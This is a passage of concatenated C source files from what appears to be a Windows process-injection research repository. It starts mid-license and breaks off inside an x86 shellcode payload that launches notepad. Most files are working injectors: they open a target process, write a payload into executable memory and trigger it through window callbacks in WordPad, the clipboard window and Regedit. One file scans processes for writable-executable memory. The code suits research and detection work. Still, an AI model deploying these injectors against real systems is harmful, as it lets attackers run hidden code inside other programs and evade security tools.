ADVISED OF THE 28 | POSSIBILITY OF SUCH DAMAGE. */ 29 | 30 | #define UNICODE 31 | 32 | #include 33 | #include 34 | 35 | #include 36 | #include 37 | #include 38 | #include 39 | 40 | #pragma comment(lib, "shell32.lib") 41 | #pragma comment(lib, "user32.lib") 42 | 43 | DWORD readpic(PWCHAR path, LPVOID *pic){ 44 | HANDLE hf; 45 | DWORD len,rd=0; 46 | 47 | // 1. open the file 48 | hf=CreateFile(path, GENERIC_READ, 0, 0, 49 | OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 50 | 51 | if(hf!=INVALID_HANDLE_VALUE){ 52 | // get file size 53 | len=GetFileSize(hf, 0); 54 | // allocate memory 55 | *pic=malloc(len + 16); 56 | // read file contents into memory 57 | ReadFile(hf, *pic, len, &rd, 0); 58 | CloseHandle(hf); 59 | } 60 | return rd; 61 | } 62 | 63 | VOID streamception(LPVOID payload, DWORD payloadSize) { 64 | HANDLE hp; 65 | DWORD id; 66 | HWND wpw, rew; 67 | LPVOID cs, ds; 68 | SIZE_T rd, wr; 69 | EDITSTREAM es; 70 | 71 | // 1. Get window handles 72 | wpw = FindWindow(L"WordPadClass", NULL); 73 | rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL); 74 | 75 | // 2. Obtain the process id and try to open process 76 | GetWindowThreadProcessId(rew, &id); 77 | hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id); 78 | 79 | // 3. Allocate RWX memory and copy the payload there. 80 | cs = VirtualAllocEx(hp, NULL, payloadSize, 81 | MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 82 | 83 | WriteProcessMemory(hp, cs, payload, payloadSize, &wr); 84 | 85 | // 4. Allocate RW memory and copy the EDITSTREAM structure there. 86 | ds = VirtualAllocEx(hp, NULL, sizeof(EDITSTREAM), 87 | MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 88 | 89 | es.dwCookie = 0; 90 | es.dwError = 0; 91 | es.pfnCallback = cs; 92 | 93 | WriteProcessMemory(hp, ds, &es, sizeof(EDITSTREAM), &wr); 94 | 95 | // 5. Trigger payload with EM_STREAMIN 96 | SendMessage(rew, EM_STREAMIN, SF_TEXT, (LPARAM)ds); 97 | 98 | // 6. Free memory and close process handle 99 | VirtualFreeEx(hp, ds, 0, MEM_RELEASE); 100 | VirtualFreeEx(hp, cs, 0, MEM_RELEASE); 101 | CloseHandle(hp); 102 | } 103 | 104 | int main(void){ 105 | LPVOID pic; 106 | DWORD len; 107 | int argc; 108 | PWCHAR *argv; 109 | 110 | argv=CommandLineToArgvW(GetCommandLine(), &argc); 111 | 112 | if(argc!=2){printf("usage: streamception \n");return 0;} 113 | 114 | len=readpic(argv[1], &pic); 115 | if (len==0) { printf("invalid payload\n"); return 0;} 116 | 117 | streamception(pic, len); 118 | return 0; 119 | } 120 | -------------------------------------------------------------------------------- /clipboard/clipboard.c: -------------------------------------------------------------------------------- 1 | /** 2 | Copyright © 2019 Odzhan. All Rights Reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are 6 | met: 7 | 8 | 1. Redistributions of source code must retain the above copyright 9 | notice, this list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright 12 | notice, this list of conditions and the following disclaimer in the 13 | documentation and/or other materials provided with the distribution. 14 | 15 | 3. The name of the author may not be used to endorse or promote products 16 | derived from this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR 19 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, 22 | INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 26 | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 27 | ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 28 | POSSIBILITY OF SUCH DAMAGE. */ 29 | 30 | #include "../ntlib/util.h" 31 | 32 | // fake interface 33 | typedef struct _IUnknown_t { 34 | // a pointer to virtual function table 35 | ULONG_PTR lpVtbl; 36 | // the virtual function table 37 | ULONG_PTR QueryInterface; 38 | ULONG_PTR AddRef; 39 | ULONG_PTR Release; // executed for WM_DESTROYCLIPBOARD 40 | } IUnknown_t; 41 | 42 | VOID clipboard(LPVOID payload, DWORD payloadSize) { 43 | HANDLE hp; 44 | HWND hw; 45 | DWORD id; 46 | IUnknown_t iu; 47 | LPVOID cs, ds; 48 | SIZE_T wr; 49 | 50 | // 1. Find a private clipboard. 51 | // Obtain the process id and open it 52 | hw = FindWindowEx(HWND_MESSAGE, NULL, L"CLIPBRDWNDCLASS", NULL); 53 | GetWindowThreadProcessId(hw, &id); 54 | hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id); 55 | 56 | // 2. Allocate RWX memory in process and write payload 57 | cs = VirtualAllocEx(hp, NULL, payloadSize, 58 | MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 59 | WriteProcessMemory(hp, cs, payload, payloadSize, &wr); 60 | 61 | // 3. Allocate RW memory in process. 62 | // Initialize and write IUnknown interface 63 | ds = VirtualAllocEx(hp, NULL, sizeof(IUnknown_t), 64 | MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 65 | iu.lpVtbl = (ULONG_PTR)ds + sizeof(ULONG_PTR); 66 | iu.Release = (ULONG_PTR)cs; 67 | WriteProcessMemory(hp, ds, &iu, sizeof(IUnknown_t), &wr); 68 | 69 | // 4. Set the interface property and trigger execution 70 | SetProp(hw, L"ClipboardDataObjectInterface", ds); 71 | PostMessage(hw, WM_DESTROYCLIPBOARD, 0, 0); 72 | 73 | // 5. Release memory for code and data 74 | VirtualFreeEx(hp, cs, 0, MEM_RELEASE); 75 | VirtualFreeEx(hp, ds, 0, MEM_RELEASE); 76 | CloseHandle(hp); 77 | } 78 | 79 | // GetWindowModuleFileName doesn't always work for window handles 80 | 81 | VOID list_clipboards(VOID) { 82 | HWND hw = NULL; 83 | DWORD pid; 84 | 85 | printf("%-16s %-5s Process\n", "HWND", "PID"); 86 | printf("*****************************************\n"); 87 | 88 | for(;;) { 89 | hw = FindWindowEx(HWND_MESSAGE, hw, L"CLIPBRDWNDCLASS", NULL); 90 | if(hw == NULL) break; 91 | GetWindowThreadProcessId(hw, &pid); 92 | printf("%p %-5i %ws\n", (LPVOID)hw, pid, pid2name(pid)); 93 | } 94 | } 95 | 96 | int main(void){ 97 | LPVOID pic; 98 | DWORD len; 99 | int argc; 100 | PWCHAR *argv; 101 | 102 | argv=CommandLineToArgvW(GetCommandLine(), &argc); 103 | 104 | if(argc != 2) { 105 | list_clipboards(); 106 | printf("\nusage: clipboard \n"); 107 | return 0; 108 | } 109 | len=readpic(argv[1], &pic); 110 | if (len==0) { printf("invalid payload\n"); return 0;} 111 | 112 | clipboard(pic, len); 113 | return 0; 114 | } 115 | -------------------------------------------------------------------------------- /richedit/treepoline.c: -------------------------------------------------------------------------------- 1 | /** 2 | Copyright © 2019 Odzhan. All Rights Reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are 6 | met: 7 | 8 | 1. Redistributions of source code must retain the above copyright 9 | notice, this list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright 12 | notice, this list of conditions and the following disclaimer in the 13 | documentation and/or other materials provided with the distribution. 14 | 15 | 3. The name of the author may not be used to endorse or promote products 16 | derived from this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR 19 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, 22 | INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 26 | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 27 | ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 28 | POSSIBILITY OF SUCH DAMAGE. */ 29 | 30 | #define UNICODE 31 | 32 | #include 33 | #include 34 | #include 35 | #include 36 | 37 | #include 38 | #include 39 | #include 40 | #include 41 | 42 | #pragma comment(lib, "user32.lib") 43 | #pragma comment(lib, "shell32.lib") 44 | 45 | DWORD readpic(PWCHAR path, LPVOID *pic){ 46 | HANDLE hf; 47 | DWORD len,rd=0; 48 | 49 | // 1. open the file 50 | hf=CreateFile(path, GENERIC_READ, 0, 0, 51 | OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 52 | 53 | if(hf!=INVALID_HANDLE_VALUE){ 54 | // get file size 55 | len=GetFileSize(hf, 0); 56 | // allocate memory 57 | *pic=malloc(len + 16); 58 | // read file contents into memory 59 | ReadFile(hf, *pic, len, &rd, 0); 60 | CloseHandle(hf); 61 | } 62 | return rd; 63 | } 64 | 65 | // requires elevated privileges 66 | VOID treepoline(LPVOID payload, DWORD payloadSize) { 67 | HANDLE hp; 68 | DWORD id; 69 | HWND wpw, tlv; 70 | LPVOID cs, ds, item; 71 | SIZE_T rd, wr; 72 | TVSORTCB tvs; 73 | 74 | // 1. get the treeview handle 75 | wpw = FindWindow(L"RegEdit_RegEdit", NULL); 76 | tlv = FindWindowEx(wpw, 0, L"SysTreeView32", 0); 77 | 78 | // 2. Obtain the process id and try to open process 79 | GetWindowThreadProcessId(tlv, &id); 80 | hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id); 81 | 82 | // 3. Allocate RWX memory and copy the payload there. 83 | cs = VirtualAllocEx(hp, NULL, payloadSize, 84 | MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 85 | 86 | WriteProcessMemory(hp, cs, payload, payloadSize, &wr); 87 | 88 | // 4. Obtain the root item in tree list 89 | item = (LPVOID)SendMessage(tlv, TVM_GETNEXTITEM, TVGN_ROOT, 0); 90 | 91 | tvs.hParent = item; 92 | tvs.lpfnCompare = cs; 93 | tvs.lParam = 0; 94 | 95 | // 5. Allocate RW memory and copy the TVSORTCB structure 96 | ds = VirtualAllocEx(hp, NULL, sizeof(TVSORTCB), 97 | MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 98 | 99 | WriteProcessMemory(hp, ds, &tvs, sizeof(TVSORTCB), &wr); 100 | 101 | // 6. Trigger payload 102 | SendMessage(tlv, TVM_SORTCHILDRENCB, 0, (LPARAM)ds); 103 | 104 | // 7. Free memory and close process handle 105 | VirtualFreeEx(hp, ds, 0, MEM_RELEASE); 106 | VirtualFreeEx(hp, cs, 0, MEM_RELEASE); 107 | 108 | CloseHandle(hp); 109 | } 110 | 111 | int main(void){ 112 | LPVOID pic; 113 | DWORD len; 114 | int argc; 115 | PWCHAR *argv; 116 | 117 | argv=CommandLineToArgvW(GetCommandLine(), &argc); 118 | 119 | if(argc!=2){printf("usage: treepoline \n");return 0;} 120 | 121 | len=readpic(argv[1], &pic); 122 | if (len==0) { printf("invalid payload\n"); return 0;} 123 | 124 | treepoline(pic, len); 125 | return 0; 126 | } 127 | -------------------------------------------------------------------------------- /richedit/wordwarping.c: -------------------------------------------------------------------------------- 1 | /** 2 | Copyright © 2019 Odzhan. All Rights Reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are 6 | met: 7 | 8 | 1. Redistributions of source code must retain the above copyright 9 | notice, this list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright 12 | notice, this list of conditions and the following disclaimer in the 13 | documentation and/or other materials provided with the distribution. 14 | 15 | 3. The name of the author may not be used to endorse or promote products 16 | derived from this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR 19 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, 22 | INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 26 | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 27 | ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 28 | POSSIBILITY OF SUCH DAMAGE. */ 29 | 30 | #define UNICODE 31 | 32 | #include 33 | #include 34 | 35 | #include 36 | #include 37 | #include 38 | #include 39 | 40 | #pragma comment(lib, "shell32.lib") 41 | #pragma comment(lib, "user32.lib") 42 | 43 | DWORD readpic(PWCHAR path, LPVOID *pic){ 44 | HANDLE hf; 45 | DWORD len,rd=0; 46 | 47 | // 1. open the file 48 | hf=CreateFile(path, GENERIC_READ, 0, 0, 49 | OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 50 | 51 | if(hf!=INVALID_HANDLE_VALUE){ 52 | // get file size 53 | len=GetFileSize(hf, 0); 54 | // allocate memory 55 | *pic=malloc(len + 16); 56 | // read file contents into memory 57 | ReadFile(hf, *pic, len, &rd, 0); 58 | CloseHandle(hf); 59 | } 60 | return rd; 61 | } 62 | 63 | VOID wordwarping(LPVOID payload, DWORD payloadSize) { 64 | HANDLE hp; 65 | DWORD id; 66 | HWND wpw, rew; 67 | LPVOID cs, wwf, ptr; 68 | SIZE_T rd, wr; 69 | INPUT ip; 70 | 71 | // 1. Get main window for wordpad. 72 | // This will accepted simulated keyboard input. 73 | wpw = FindWindow(L"WordPadClass", NULL); 74 | 75 | // 2. Find the rich edit control for wordpad. 76 | rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL); 77 | 78 | // 3. Try get current address of Wordwrap function 79 | wwf = (LPVOID)SendMessage(rew, EM_GETWORDBREAKPROC, 0, 0); 80 | 81 | // 4. Obtain the process id for wordpad. 82 | GetWindowThreadProcessId(rew, &id); 83 | 84 | // 5. Try open the process. 85 | hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id); 86 | 87 | // 6. Allocate RWX memory for the payload. 88 | cs = VirtualAllocEx(hp, NULL, payloadSize, 89 | MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 90 | 91 | // 7. Write the payload to memory 92 | WriteProcessMemory(hp, cs, payload, payloadSize, &wr); 93 | 94 | // 8. Update the callback procedure 95 | SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)cs); 96 | 97 | // 9. Simulate keyboard input to trigger payload 98 | ip.type = INPUT_KEYBOARD; 99 | ip.ki.wVk = 'A'; 100 | ip.ki.wScan = 0; 101 | ip.ki.dwFlags = 0; 102 | ip.ki.time = 0; 103 | ip.ki.dwExtraInfo = 0; 104 | 105 | SetForegroundWindow(wpw); 106 | SendInput(1, &ip, sizeof(ip)); 107 | SendInput(1, &ip, sizeof(ip)); 108 | 109 | // 10. Restore original Wordwrap function 110 | SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)wwf); 111 | 112 | // 12. Free memory and close process handle 113 | VirtualFreeEx(hp, cs, 0, MEM_RELEASE); 114 | CloseHandle(hp); 115 | } 116 | 117 | int main(void){ 118 | LPVOID pic; 119 | DWORD len; 120 | int argc; 121 | PWCHAR *argv; 122 | 123 | argv=CommandLineToArgvW(GetCommandLine(), &argc); 124 | 125 | if(argc!=2){printf("usage: wordwarping \n");return 0;} 126 | 127 | len=readpic(argv[1], &pic); 128 | if (len==0) { printf("invalid payload\n"); return 0;} 129 | 130 | wordwarping(pic, len); 131 | return 0; 132 | } 133 | -------------------------------------------------------------------------------- /wnf/scanners.c: -------------------------------------------------------------------------------- 1 | /** 2 | Copyright © 2019 Odzhan. All Rights Reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are 6 | met: 7 | 8 | 1. Redistributions of source code must retain the above copyright 9 | notice, this list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright 12 | notice, this list of conditions and the following disclaimer in the 13 | documentation and/or other materials provided with the distribution. 14 | 15 | 3. The name of the author may not be used to endorse or promote products 16 | derived from this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR 19 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, 22 | INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 26 | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 27 | ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 28 | POSSIBILITY OF SUCH DAMAGE. */ 29 | 30 | #include "../ntlib/util.h" 31 | 32 | // just read and write back a pointer 33 | BOOL WriteAccess(HANDLE hp, LPVOID addr) { 34 | BOOL bWrite; 35 | ULONG_PTR p; 36 | SIZE_T len; 37 | 38 | // read 39 | bWrite = ReadProcessMemory(hp, addr, &p, sizeof(p), &len); 40 | if(bWrite && len == sizeof(p)) { 41 | // write 42 | bWrite = WriteProcessMemory(hp, addr, &p, sizeof(p), &len); 43 | } 44 | return bWrite; 45 | } 46 | 47 | VOID ScanProcess(DWORD pid, LPWSTR name) { 48 | HANDLE hProcess; 49 | SYSTEM_INFO si; 50 | MEMORY_BASIC_INFORMATION mbi; 51 | LPBYTE addr; // current address 52 | SIZE_T res; 53 | BYTE buffer[sizeof(SYMBOL_INFO)+MAX_SYM_NAME*sizeof(WCHAR)]; 54 | PSYMBOL_INFO pSymbol=(PSYMBOL_INFO)buffer; 55 | 56 | hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 57 | 58 | if (hProcess != NULL) { 59 | SymInitialize(hProcess, NULL, TRUE); 60 | GetSystemInfo(&si); 61 | 62 | for (addr=0; addr < (LPBYTE)si.lpMaximumApplicationAddress;) { 63 | ZeroMemory(&mbi, sizeof(mbi)); 64 | res = VirtualQueryEx(hProcess, addr, &mbi, sizeof(mbi)); 65 | if(res != sizeof(mbi)) break; 66 | 67 | if(mbi.Protect & PAGE_EXECUTE_READWRITE) { 68 | // do we have write access to this executable area of memory? 69 | if(WriteAccess(hProcess, mbi.BaseAddress)) { 70 | // show the process, address and size of cave 71 | wprintf(L"RWX : %-20ws : %p : %zi\n", 72 | name, mbi.BaseAddress, mbi.RegionSize); 73 | } 74 | } 75 | /** 76 | if(mbi.Type == MEM_IMAGE) { 77 | wprintf(L"RX : %-20ws : %p : %zi\n", 78 | name, mbi.BaseAddress, mbi.RegionSize); 79 | }*/ 80 | addr = (PBYTE)mbi.BaseAddress + mbi.RegionSize; 81 | } 82 | SymCleanup(hProcess); 83 | CloseHandle(hProcess); 84 | } 85 | } 86 | 87 | VOID ScanSystem(DWORD pid) { 88 | HANDLE hSnap; 89 | PROCESSENTRY32 pe32; 90 | BOOL bFound=FALSE; 91 | 92 | hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 93 | if(hSnap == INVALID_HANDLE_VALUE) return; 94 | 95 | pe32.dwSize = sizeof(PROCESSENTRY32); 96 | 97 | if(Process32First(hSnap, &pe32)){ 98 | do { 99 | if(pid != 0 && pe32.th32ProcessID != pid) continue; 100 | ScanProcess(pe32.th32ProcessID, pe32.szExeFile); 101 | } while(Process32Next(hSnap, &pe32)); 102 | } 103 | CloseHandle(hSnap); 104 | } 105 | 106 | int main(void) { 107 | PWCHAR *argv; 108 | int argc; 109 | DWORD pid = 0; 110 | 111 | argv = CommandLineToArgvW(GetCommandLine(), &argc); 112 | 113 | SetPrivilege(SE_DEBUG_NAME, TRUE); 114 | 115 | if(argc == 2) { 116 | pid = name2pid(argv[1]); 117 | if(pid == 0) pid = _wtoi(argv[1]); 118 | if(pid == 0) { 119 | printf("unable to resolve pid for \"%ws\"\n", argv[1]); 120 | return 0; 121 | } 122 | } 123 | SymSetOptions(SYMOPT_DEFERRED_LOADS); 124 | ScanSystem(pid); 125 | return 0; 126 | } 127 | -------------------------------------------------------------------------------- /cmdline/wer.h: -------------------------------------------------------------------------------- 1 | /** 2 | Copyright © 2020 Odzhan. All Rights Reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are 6 | met: 7 | 8 | 1. Redistributions of source code must retain the above copyright 9 | notice, this list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright 12 | notice, this list of conditions and the following disclaimer in the 13 | documentation and/or other materials provided with the distribution. 14 | 15 | 3. The name of the author may not be used to endorse or promote products 16 | derived from this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR 19 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, 22 | INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 26 | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 27 | ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 28 | POSSIBILITY OF SUCH DAMAGE. */ 29 | 30 | #ifndef WER_H 31 | #define WER_H 32 | 33 | // WerRegisterCustomMetadata 34 | typedef struct _WER_METADATA { 35 | PVOID Next; 36 | WCHAR Key[64]; 37 | WCHAR Value[128]; 38 | } WER_METADATA, *PWER_METADATA; 39 | 40 | // WerRegisterFile 41 | // Registers a file to be collected when WER creates an error report. 42 | typedef struct _WER_FILE { 43 | USHORT Flags; 44 | WCHAR Path[MAX_PATH]; 45 | } WER_FILE, *PWER_FILE; 46 | 47 | // WerRegisterExcludedMemoryBlock 48 | // Marks a memory block (that is normally included by default in error reports) to be excluded from the error report. 49 | // 50 | // WerRegisterMemoryBlock 51 | // Registers a memory block to be collected when WER creates an error report. 52 | typedef struct _WER_MEMORY { 53 | PVOID Address; // The starting address of the memory block. 54 | ULONG Size; // The size of the memory block, in bytes. 55 | } WER_MEMORY, *PWER_MEMORY; 56 | 57 | typedef struct _WER_GATHER { 58 | PVOID Next; 59 | USHORT Flags; 60 | union { 61 | WER_FILE File; 62 | WER_MEMORY Memory; 63 | } v; 64 | } WER_GATHER, *PWER_GATHER; 65 | 66 | // WerRegisterAdditionalProcess 67 | typedef struct _WER_DUMP_COLLECTION { 68 | PVOID Next; 69 | DWORD ProcessId; // The Id of the process to register. 70 | DWORD ThreadId; // The Id of a thread within the registered process from which more information is requested. 71 | } WER_DUMP_COLLECTION, *PWER_DUMP_COLLECTION; 72 | 73 | typedef struct _WER_RUNTIME_DLL { 74 | PVOID Next; 75 | ULONG Length; // total length of this structure 76 | PVOID Context; // passed to callback in DLL 77 | WCHAR CallbackDllPath[MAX_PATH]; 78 | } WER_RUNTIME_DLL, *PWER_RUNTIME_DLL; 79 | 80 | // GetApplicationRecoveryCallback to read from remote process 81 | // RegisterApplicationRecoveryCallback 82 | typedef struct _WER_RECOVERY_INFO { 83 | ULONG Length; 84 | PVOID Callback; 85 | PVOID Parameter; 86 | HANDLE Started; 87 | HANDLE Finished; // read by ApplicationRecoveryFinished 88 | HANDLE InProgress; // read by ApplicationRecoveryInProgress 89 | LONG LastError; 90 | BOOL Successful; 91 | DWORD PingInterval; 92 | DWORD Flags; 93 | } WER_RECOVERY_INFO, *PWER_RECOVERY_INFO; 94 | 95 | typedef struct _WER_HEAP_MAIN_HEADER { 96 | WCHAR Signature[16]; // HEAP_SIGNATURE 97 | LIST_ENTRY ListHead; 98 | HANDLE Mutex; 99 | PVOID FreeHeap; 100 | PVOID FreeCount; 101 | } WER_HEAP_MAIN_HEADER, *PWER_HEAP_MAIN_HEADER; 102 | 103 | typedef struct _WER_PEB_HEADER_BLOCK { 104 | LONG Length; 105 | WCHAR Signature[16]; 106 | WCHAR AppDataRelativePath[64]; 107 | WCHAR RestartCommandLine[RESTART_MAX_CMD_LINE]; 108 | WER_RECOVERY_INFO RecoveryInfo; 109 | PWER_GATHER Gather; 110 | PWER_METADATA MetaData; 111 | PWER_RUNTIME_DLL RuntimeDll; 112 | PWER_DUMP_COLLECTION DumpCollection; 113 | LONG GatherCount; 114 | LONG MetaDataCount; 115 | LONG DumpCount; 116 | LONG Flags; 117 | WER_HEAP_MAIN_HEADER MainHeader; 118 | PVOID Reserved; 119 | } WER_PEB_HEADER_BLOCK, *PWER_PEB_HEADER_BLOCK; 120 | 121 | #endif 122 | -------------------------------------------------------------------------------- /payload/x86/payload.c: -------------------------------------------------------------------------------- 1 | /** 2 | Copyright © 2018 Odzhan. All Rights Reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are 6 | met: 7 | 8 | 1. Redistributions of source code must retain the above copyright 9 | notice, this list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright 12 | notice, this list of conditions and the following disclaimer in the 13 | documentation and/or other materials provided with the distribution. 14 | 15 | 3. The name of the author may not be used to endorse or promote products 16 | derived from this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR 19 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, 22 | INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 26 | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 27 | ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 28 | POSSIBILITY OF SUCH DAMAGE. */ 29 | 30 | #include "getapi.h" 31 | 32 | typedef UINT (WINAPI *WinExec_t)( 33 | _In_ LPCSTR lpCmdLine, _In_ UINT uCmdShow); 34 | 35 | LPVOID xGetProcAddress(LPVOID pszAPI); 36 | int xstrcmp(char*,char*); 37 | 38 | #ifdef WINDOW // Extra Window Bytes 39 | LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg, 40 | WPARAM wParam, LPARAM lParam) 41 | #endif 42 | 43 | #ifdef SVCCTRL // Service Control Handler 44 | DWORD Handler(DWORD dwControl) 45 | #endif 46 | 47 | #ifdef SUBCLASS // PROPagate 48 | LRESULT CALLBACK SubclassProc(HWND hWnd, UINT uMsg, WPARAM wParam, 49 | LPARAM lParam, UINT_PTR uIdSubclass, DWORD_PTR dwRefData) 50 | #endif 51 | 52 | #ifdef CONSOLE // ConsoleWindowClass 53 | HWND GetWindowHandle(VOID) 54 | #endif 55 | { 56 | WinExec_t pWinExec; 57 | DWORD szWinExec[2], 58 | szNotepad[3]; 59 | 60 | // WinExec 61 | szWinExec[0]=0x456E6957; 62 | szWinExec[1]=0x00636578; 63 | 64 | // runs notepad 65 | szNotepad[0] = *(DWORD*)"note"; 66 | szNotepad[1] = 